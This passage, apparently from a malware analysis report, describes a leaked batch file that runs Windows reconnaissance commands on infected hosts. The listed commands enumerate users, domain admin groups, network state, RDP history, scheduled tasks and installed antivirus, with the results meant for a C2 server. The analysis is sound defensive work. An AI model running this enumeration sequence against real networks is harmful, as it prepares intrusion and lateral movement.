The data dump included the 0000000000.bat file, which when executed on an infected system would run the following commands to gather information to be sent back to the C2 server:  whoami hostname ipconfig /all net user /domain net group /domain net group “domain admins” /domain net group “Exchange Trusted Subsystem” /domain net accounts /domain net user net localgroup administrators netstat -an tasklist systeminfo reg query “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default” schtasks /query /FO List /TN “GoogleUpdatesTaskMachineUI” /V | findstr /b /n /c:”Repeat: Every:” WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List  This batch script is also interesting as it uses echo commands to include headers before each of the command results